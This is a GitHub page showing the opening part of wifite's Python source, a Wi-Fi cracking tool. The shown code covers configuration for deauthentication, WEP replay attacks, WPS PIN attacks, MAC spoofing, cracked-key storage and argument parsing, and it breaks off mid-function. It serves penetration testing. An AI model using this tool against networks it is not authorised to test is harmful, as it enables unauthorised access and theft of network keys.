Skip to content
This repository
branch: master
bwall-slave
file 3114 lines (2708 sloc) 145.129 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957 2958 2959 2960 2961 2962 2963 2964 2965 2966 2967 2968 2969 2970 2971 2972 2973 2974 2975 2976 2977 2978 2979 2980 2981 2982 2983 2984 2985 2986 2987 2988 2989 2990 2991 2992 2993 2994 2995 2996 2997 2998 2999 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 3011 3012 3013 3014 3015 3016 3017 3018 3019 3020 3021 3022 3023 3024 3025 3026 3027 3028 3029 3030 3031 3032 3033 3034 3035 3036 3037 3038 3039 3040 3041 3042 3043 3044 3045 3046 3047 3048 3049 3050 3051 3052 3053 3054 3055 3056 3057 3058 3059 3060 3061 3062 3063 3064 3065 3066 3067 3068 3069 3070 3071 3072 3073 3074 3075 3076 3077 3078 3079 3080 3081 3082 3083 3084 3085 3086 3087 3088 3089 3090 3091 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103 3104 3105 3106 3107 3108 3109 3110 3111 3112 3113
#!/usr/bin/python

# -*- coding: utf-8 -*-

"""
wifite

author: derv82 at gmail
author: bwall @botnet_hunter (ballastsec@gmail.com)
author: drone @dronesec (ballastsec@gmail.com)

Thanks to everyone that contributed to this project.
If you helped in the past and want your name here, shoot me an email

Licensed under the GNU General Public License Version 2 (GNU GPL v2),
available at: http://www.gnu.org/licenses/gpl-2.0.txt

(C) 2011 Derv Merkler

Ballast Security additions
-----------------
- No longer requires to be root to run -cracked
- cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
- Backwards compatibility
- Made a run configuration class to handle globals
- Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
- Changed the updater to grab files from GitHub and not Google Code
- Use argparse to parse command-line arguments
- -wepca flag now properly initialized if passed through CLI
- parse_csv uses python csv library
-----------------


TODO:

Restore same command-line switch names from v1

If device already in monitor mode, check for and, if applicable, use macchanger

WPS
* Mention reaver automatically resumes sessions
* Warning about length of time required for WPS attack (*hours*)
* Show time since last successful attempt
* Percentage of tries/attempts ?
* Update code to work with reaver 1.4 ("x" sec/att)

WEP:
* ability to pause/skip/continue (done, not tested)
* Option to capture only IVS packets (uses --output-format ivs,csv)
- not compatible on older aircrack-ng's.
- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
- would cut down on size of saved .caps

reaver:
MONITOR ACTIVITY!
- Enter ESSID when executing (?)
- Ensure WPS key attempts have begun.
- If no attempts can be made, stop attack

- During attack, if no attempts are made within X minutes, stop attack & Print

- Reaver's output when unable to associate:
[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
- If failed to associate for x minutes, stop attack (same as no attempts?)

MIGHTDO:
* WPA - crack (pyrit/cowpatty) (not really important)
* Test injection at startup? (skippable via command-line switch)

"""

#############
# LIBRARIES #
#############

import csv # Exporting and importing cracked aps
import os # File management
import time # Measuring attack intervals
import random # Generating a random MAC address.
import errno # Error numbers

from sys import argv # Command-line arguments
from sys import stdout # Flushing

from shutil import copy # Copying .cap files

# Executing, communicating with, killing processes
from subprocess import Popen, call, PIPE
from signal import SIGINT, SIGTERM

import re # RegEx, Converting SSID to filename
import argparse # arg parsing
import urllib # Check for new versions from the repo
import abc # abstract base class libraries for attack templates


################################
# GLOBAL VARIABLES IN ALL CAPS #
################################

# Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray

# /dev/null, send output from programs so they don't print to screen.
DN = open(os.devnull, 'w')
ERRLOG = open(os.devnull, 'w')
OUTLOG = open(os.devnull, 'w')

###################
# DATA STRUCTURES #
###################

class CapFile:
    """
Holds data about an access point's .cap file, including AP's ESSID & BSSID.
"""
    def __init__(self, filename, ssid, bssid):
        self.filename = filename
        self.ssid = ssid
        self.bssid = bssid

class Target:
    """
Holds data for a Target (aka Access Point aka Router)
"""
    def __init__(self, bssid, power, data, channel, encryption, ssid):
        self.bssid = bssid
        self.power = power
        self.data = data
        self.channel = channel
        self.encryption = encryption
        self.ssid = ssid
        self.wps = False # Default to non-WPS-enabled router.
        self.key = ''

class Client:
    """
Holds data for a Client (device connected to Access Point/Router)
"""
    def __init__(self, bssid, station, power):
        self.bssid = bssid
        self.station = station
        self.power = power

class RunConfiguration:
    """
Configuration for this rounds of attacks
"""
    def __init__(self):
        self.REVISION = 86;
        self.PRINTED_SCANNING = False

        self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power

        # WPA variables
        self.WPA_DISABLE = False # Flag to skip WPA handshake capture
        self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
        self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets
        self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
        self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
        self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
        # Strip file path separator if needed
        if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
            self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]

        self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
        self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
        self.WPA_DICTIONARY = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
        if not os.path.exists(self.WPA_DICTIONARY): self.WPA_DICTIONARY = ''

        # Various programs to use when checking for a four-way handshake.
        # True means the program must find a valid handshake in order for wifite to recognize a handshake.
        # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
        self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
        self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
        self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
        self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)

        # WEP variables
        self.WEP_DISABLE = False # Flag for ignoring WEP networks
        self.WEP_PPS = 600 # packets per second (Tx rate)
        self.WEP_TIMEOUT = 600 # Amount of time to give each attack
        self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
        self.WEP_CHOPCHOP = True #
        self.WEP_FRAGMENT = True #
        self.WEP_CAFFELATTE = True #
        self.WEP_P0841 = True
        self.WEP_HIRTE = True
        self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
        self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
        self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
        self.WEP_SAVE = False # Save packets.

        # WPS variables
        self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
        self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
        self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
        self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
        self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.


        # Program variables
        self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
        self.WIRELESS_IFACE = '' # User-defined interface
        self.TARGET_CHANNEL = 0 # User-defined channel to scan on
        self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
        self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
        self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
                                # It's our job to put it out of monitor mode after the attacks
        self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
        self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
        self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
        self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
        self.THIS_MAC = '' # The interfaces current MAC address.
        self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
        self.CRACKED_TARGETS = [] # List of targets we have already cracked
        self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
        self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
        self.VERBOSE_APS = True # Print access points as they appear
        self.CRACKED_TARGETS = self.load_cracked()
        old_cracked = self.load_old_cracked()
        if len(old_cracked) > 0:
            # Merge the results
            for OC in old_cracked:
                new = True
                for NC in self.CRACKED_TARGETS:
                    if OC.bssid == NC.bssid:
                        new = False
                        break
                # If Target isn't in the other list
                # Add and save to disk
                if new:
                    self.save_cracked(OC)

    def ConfirmRunningAsRoot(self):
        if os.getuid() != 0:
            print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
            print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W
            exit(1)

    def ConfirmCorrectPlatform(self):
        if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
            print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W
            exit(1)

    def CreateTempFolder(self):
        from tempfile import mkdtemp
        self.temp = mkdtemp(prefix='wifite')
        if not self.temp.endswith(os.sep):
            self.temp += os.sep

    def save_cracked(self, target):
        """
Saves cracked access point key and info to a file.
"""
        self.CRACKED_TARGETS.append(target)
        with open('cracked.csv', 'wb') as csvfile:
            targetwriter = csv.writer(csvfile, delimiter=',',quotechar='"', quoting=csv.QUOTE_MINIMAL)
            for target in self.CRACKED_TARGETS:
                targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])

    def load_cracked(self):
        """
Loads info about cracked access points into list, returns list.
"""
        result = []
        if not os.path.exists('cracked.csv'): return result
        with open('cracked.csv', 'rb') as csvfile:
            targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
            for row in targetreader:
                t = Target(row[0], 0, 0, 0, row[1], row[2])
                t.key = row[3]
                t.wps = row[4]
                result.append(t)
        return result

    def load_old_cracked(self):
        """
Loads info about cracked access points into list, returns list.
"""
        result = []
        if not os.path.exists('cracked.txt'):
            return result
        fin = open('cracked.txt', 'r')
        lines = fin.read().split('\n')
        fin.close()

        for line in lines:
                fields = line.split(chr(0))
                if len(fields) <= 3:
                    continue
                tar = Target(fields[0], '', '', '', fields[3], fields[1])
                tar.key = fields[2]
                result.append(tar)
        return result

    def exit_gracefully(self, code=0):
        """
We may exit the program at any time.
We want to remove the temp folder and any files contained within it.
Removes the temp files/folder and exists with error code "code".
"""
        # Remove temp files and folder
        if os.path.exists(self.temp):
            for f in os.listdir(self.temp):
                os.remove(self.temp + f)
            os.rmdir(self.temp)
        # Disable monitor mode if enabled by us
        self.RUN_ENGINE.disable_monitor_mode()
        # Change MAC address back if spoofed
        mac_change_back()
        print GR+" [+]"+W+" quitting" # wifite will now exit"
        print ''
        # GTFO
        exit(code)

    def handle_args(self):
        """
Handles command-line arguments, sets global variables.
"""
        set_encrypt = False
        set_hscheck = False
        set_wep = False
        capfile = '' # Filename of .cap file to analyze for handshakes

        opt_parser = self.build_opt_parser()
        options = opt_parser.parse_args()

        try:
            if not set_encrypt and (options.wpa or options.wep or options.wps):
                self.WPS_DISABLE = True
                self.WPA_DISABLE = True
                self.WEP_DISABLE = True
                set_encrypt = True
            if options.recrack:
                self.SHOW_ALREADY_CRACKED = True
                print GR+' [+]'+W+' including already cracked networks in targets.'
            if options.wpa:
                if options.wps:
                    print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks.'
                else:
                    print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)'
                self.WPA_DISABLE = False
            if options.wep:
                print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks'
                self.WEP_DISABLE = False
            if options.wps:
                print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks.'
                self.WPS_DISABLE = False
            if options.channel:
                try: self.TARGET_CHANNEL = int(options.channel)
                except ValueError: print O+' [!]'+R+' invalid channel: '+O+options.channel+W
                except IndexError: print O+' [!]'+R+' no channel given!'+W
                else: print GR+' [+]'+W+' channel set to %s' % (G+str(self.TARGET_CHANNEL)+W)
            if options.mac_anon:
                print GR+' [+]'+W+' mac address anonymizing '+G+'enabled'+W
                print O+' not: only works if device is not already in monitor mode!'+W
                self.DO_NOT_CHANGE_MAC = False
            if options.interface:
                self.WIRELESS_IFACE = options.interface
                print GR+' [+]'+W+' set interface :%s' % (G+self.WIRELESS_IFACE+W)
            if options.essid:
                try: self.TARGET_ESSID = options.essid
                except ValueError: print R+' [!]'+O+' no ESSID given!'+W
                else: print GR+' [+]'+W+' targeting ESSID "%s"' % (G+self.TARGET_ESSID+W)
            if options.bssid:
                try: self.TARGET_BSSID = options.bssid
                except ValueError: print R+' [!]'+O+' no BSSID given!'+W
                else: print GR+' [+]'+W+' targeting BSSID "%s"' % (G+self.TARGET_BSSID+W)
            if options.showb:
                self.SHOW_MAC_IN_SCAN = True
                print GR+' [+]'+W+' target MAC address viewing '+G+'enabled'+W
            if options.all:
                self.ATTACK_ALL_TARGETS = True
                print GR+' [+]'+W+' targeting '+G+'all access points'+W
            if options.power:
                try: self.ATTACK_MIN_POWER = int(options.power)
                except ValueError: print R+' [!]'+O+' invalid power level: %s' % (R+options.power+W)
                except IndexError: print R+' [!]'+O+' no power level given!'+W
                else: print GR+' [+]'+W+' minimum target power set to %s' % (G+str(self.ATTACK_MIN_POWER)+W)
            if options.tx:
                try: self.TX_POWER = int(options.tx)
                except ValueError: print R+' [!]'+O+' invalid TX power leve: %s' % ( R+options.tx+W)
                except IndexError: print R+' [!]'+O+' no TX power level given!'+W
                else: print GR+' [+]'+W+' TX power level set to %s' % (G+str(self.TX_POWER)+W)
            if options.quiet:
                self.VERBOSE_APS = False
                print GR+' [+]'+W+' list of APs during scan '+O+'disabled'+W
            if options.check:
                try: capfile = options.check
